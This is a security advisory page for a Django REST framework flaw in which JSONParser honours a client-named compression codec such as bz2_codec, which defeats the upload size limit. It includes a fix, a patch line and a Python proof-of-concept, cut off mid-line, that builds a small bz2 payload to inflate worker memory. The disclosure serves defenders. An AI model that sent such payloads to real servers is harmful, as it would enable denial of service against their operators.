---
id: "CVE-2026-114136"
kind: "vulnerability"
aliases: ["CVE-2026-114136", "GHSA-3547-9m27-7rxg"]
title: "Django REST framework: JSONParser applies an attacker-named codec to the request stream"
severity: "high"
cvss: 7.5
epss: 0.003389999968931079
exploited: false
status: "open"
category: "package"
products: [{"name": "djangorestframework", "fixed": ["3.18.2"], "affected": ">= 3.6.4, < 3.18.2", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["api-backend", "cwe-409", "cwe-770", "django", "djangorestframework", "package", "python"]
not_affected_if: ["djangorestframework-3.18.2-or-later", "djangorestframework-below-3.6.4", "no-json-parser-endpoints"]
published_at: "2026-10-21T20:17:25+00:00"
first_seen_at: "2026-10-23T19:11:31+00:00"
updated_at: "2026-10-23T21:57:29+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-3547-9m27-7rxg", "first_seen_at": "2026-10-23T19:11:31+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114136", "first_seen_at": "2026-10-23T21:57:29+00:00"}]
---

# Django REST framework: JSONParser applies an attacker-named codec to the request stream

Django REST framework's JSONParser passes the client-supplied Content-Type charset straight to codecs.getreader, so an unauthenticated request can name a byte-transform codec such as bz2_codec and have the body decompressed after Django's DATA_UPLOAD_MAX_MEMORY_SIZE check has run. A tiny request body can therefore force a worker to allocate tens of megabytes of memory, which is a denial-of-service risk.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:djangorestframework affected >= 3.6.4, < 3.18.2 fixed 3.18.2

## How to check

pip show djangorestframework (version below 3.18.2 is affected)
grep -rn "djangorestframework" requirements*.txt pyproject.toml poetry.lock uv.lock
Set DATA_UPLOAD_MAX_MEMORY_SIZE to confirm the limit exists; it does not protect against this issue.

## Fix

Upgrade djangorestframework to 3.18.2 or later.
Until then, reject or sanitize non-text charset values on JSON endpoints at the reverse proxy or in middleware.

## Timeline

- 2026-10-23T19:11:31+00:00 ghsa https://github.com/advisories/GHSA-3547-9m27-7rxg
- 2026-10-23T21:57:29+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-114136

## From the sources

### Summary

An unauthenticated attacker can defeat Django's `DATA_UPLOAD_MAX_MEMORY_SIZE` limit and force a
worker process to allocate arbitrary memory, by naming a compression codec in the Content-Type
charset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an
amplification factor of 466,033, and grows process peak RSS by about 97 MiB. No application
configuration is required beyond DRF's default parser set; the endpoint only has to accept a JSON
body.

### Details

`JSONParser.parse` decodes the request body with the charset the client supplied on the Content-Type
header:

```python
# rest_framework/parsers.py
encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
try:
    decoded_stream = codecs.getreader(encoding)(stream)
    parse_constant = json.strict_constant if self.strict else None
    return json.load(decoded_stream, parse_constant=parse_constant)
except ValueError as exc:
    raise ParseError('JSON parse error - %s' % str(exc))
```

Of the roughly 455 codec names `codecs.lookup` resolves on CPython 3.14, about 18 are byte transforms
instead of character sets: `bz2_codec`, `zlib_codec`, `base64_codec`, `hex_codec`, `quopri_codec`,
`uu_codec` and similar. `codecs.getreader` is the only entry point in the `codecs` module that does
not consult `CodecInfo._is_text_encoding`, so it accepts all of them. Sending
`Content-Type: application/json; charset=bz2_codec` wraps the request stream in a bz2 decompressor
before `json.load` reads it.

The ordering is what makes this exploitable. Django charges `DATA_UPLOAD_MAX_MEMORY_SIZE` against the
bytes that arrived on the wire: `rest_framework/request.py` hands `JSONParser` an
`io.BytesIO(self.body)`, and `HttpRequest.body` is where `_check_data_too_big()` runs. Decompression
happens afterwards, inside the parser, where nothing is counting.

This is DRF's defect and not Django's. Django resolves the charset parameter and assigns
`request.encoding`, and `codecs.lookup` does resolve byte transforms, but every Django consumer of
`request.encoding` goes through the text-codec API and fails closed. Both `bytes.decode('bz2_codec')`
and `str(raw, 'bz2_codec')` raise
`LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs`.
DRF is the only caller that hands the request stream to `codecs.getreader`.

`FormParser` (`parsers.py:84`) and `MultiPartParser` (`parsers.py:104-118`) take the same client-named
encoding but fail closed instead of amplifying.

The sink was introduced by `9a228116` (PR #5147, 2017-05-24, "Improve memory footprint when reading
large JSON requests"), first released in 3.6.4. The final comment on that PR observes the intended
memory gain does not hold because `read()` decodes the whole stream, which is the same property that
makes this expansion unbounded. No `_is_text_encoding` check has been added since.

A one-line fix at `parsers.py:61-64`:

```python
if not codecs.lookup(encoding)._is_text_encoding:
    raise ParseError('Unsupported charset in Content-Type')
```

### PoC

Save as `poc_charset_amplification.py` and run it. It builds its own payloads, runs each arm in a
fresh subprocess (peak RSS is a high-water mark, so measuring several arms in one process reports
near-zero growth for every arm after the first), and prints a verdict.

```python
#!/usr/bin/env python
"""
django-rest-framework: JSONParser applies an attacker-named codec to the request
stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE.

Four arms, each in a fresh subprocess because peak RSS is a high-water mark and
measuring several arms in one process reports ~0 growth for every arm after the
first.

  T   ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec
  C1  48 MiB plaintext,   Content-Type: application/json   (no charset)
  C2  the byte-identical T body, charset=utf-8
  C3  zlib body, charset=zlib_codec

The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the
codec name and not the payload is what produces the expansion.

Requires: django, djangorestframework importable. No arguments, nothing to edit.
    python poc_charset_amplification.py
Exit status 0 means every arm behaved as described in the advisory.
"""
import hashlib
import json
import os
import subprocess
import sys
import tempfile

PAYLOAD_CHARS = 48 * 1024 * 1024
PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp")
LIMIT = 65536

ARMS = {
    "T": ("bz2.bin", "application/json; charset=bz2_codec"),
    "C1": ("plain.bin", "application/json"),
    "C2": ("bz2.bin", "application/json; charset=utf-8"),
    "C3": ("zlib.bin", "application/json; charset=zlib_codec"),
}
EXPECTED = {
    "T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes",
    "C1": "rejected with RequestDataTooBig, view body never runs",
    "C2": "HTTP 400 ParseError on the byte-identical compressed body",
    "C3": "HTTP 200, same expansion under a different codec name",
}
VIEW_RAN = []


def build_payloads():
    import bz2
    import zlib

    os.makedirs(PAYLOAD_DIR, exist_ok=True)
    plain = b'{"a":"' + b"A" * PAYLOAD_CHARS + b'"}'
    blobs = {
        "plain.bin": plain,
        "bz2.bin": bz2.compress(plain, 9),
        "zlib.bin": zlib.compress(plain, 9),
    }
    for name, blob in blobs.items():
        with open(os.path.join(PAYLOAD_DIR, name), "wb") as fh:
            fh.write(blob)
    return {name: len(blob) for name, blob in blobs.items()}


def configure_django():
    from django.conf import settings

    settings.configure(
        DEBUG=False,
        ALLOWED_HOSTS=["testserver"],
        SECRET_KEY="poc",
        ROOT_URLCONF=__name__,
        MIDDLEWARE=[],
        INSTALLED_APPS=[
            "django.contrib.contenttypes",
            "django.contrib.auth",
            "rest_framework",
        ],
        DATABASES={
            "default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}
        },
        DEFAULT_CHARSET="utf-8",
        DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT,
        LOGGING_CONFIG=None,
        USE_TZ=True,
    )
    import django

    django.setup()


def build_view():
    from rest_framework.response import Response
    from rest_framework.views import APIView

    class Echo(APIView):
        authentication_classes = []
        permission_classes = []

        def post(self, request):
            data = request.data
            VIEW_RAN.append(True)
            value = data.get("a") if isinstance(data, dict) else None
            return Response(
                {"parsed_value_len": len(value) if isinstance(value, str) else None}
            )

    return Echo


def __getattr__(name):
    # ROOT_URLCONF points at this module; build urlpatterns lazily.
    if name == "urlpatterns":
        from django.urls import path

        value = [path("x", build_view().as_view())]
        globals()["urlpatterns"] = value
        return value
    raise AttributeError(name)


def peak_rss_kib():
    """Peak resident size of this process. /proc is used where available because
    ru_maxrss does not track the calling process on every kernel."""
    try:
        with open("/proc/self/status") as fh:
            for line in fh:
                if line.startswith("VmHWM:"):
                    return int(line.split(":")[1].strip().split()[0])
    except OSError:
        pass
    import resource

    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss


def run_arm(arm):
    payload_name, content_type = ARMS[arm]
    with open(os.path.join(PAYLOAD_DIR, payload_name), "rb") as fh:
        body = fh.read()

    configure_django()
    from django.test import Client, RequestFactory

    client = Client(raise_request_exception=False)
    # Warm every lazily imported module so the delta measures the request only.
    client.generic("POST", "/x", data=b'{"a":"A"}', content_type="application/json")
    VIEW_RAN.clear()

    before = peak_rss_kib()
    response = client.generic("POST", "/x", d

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
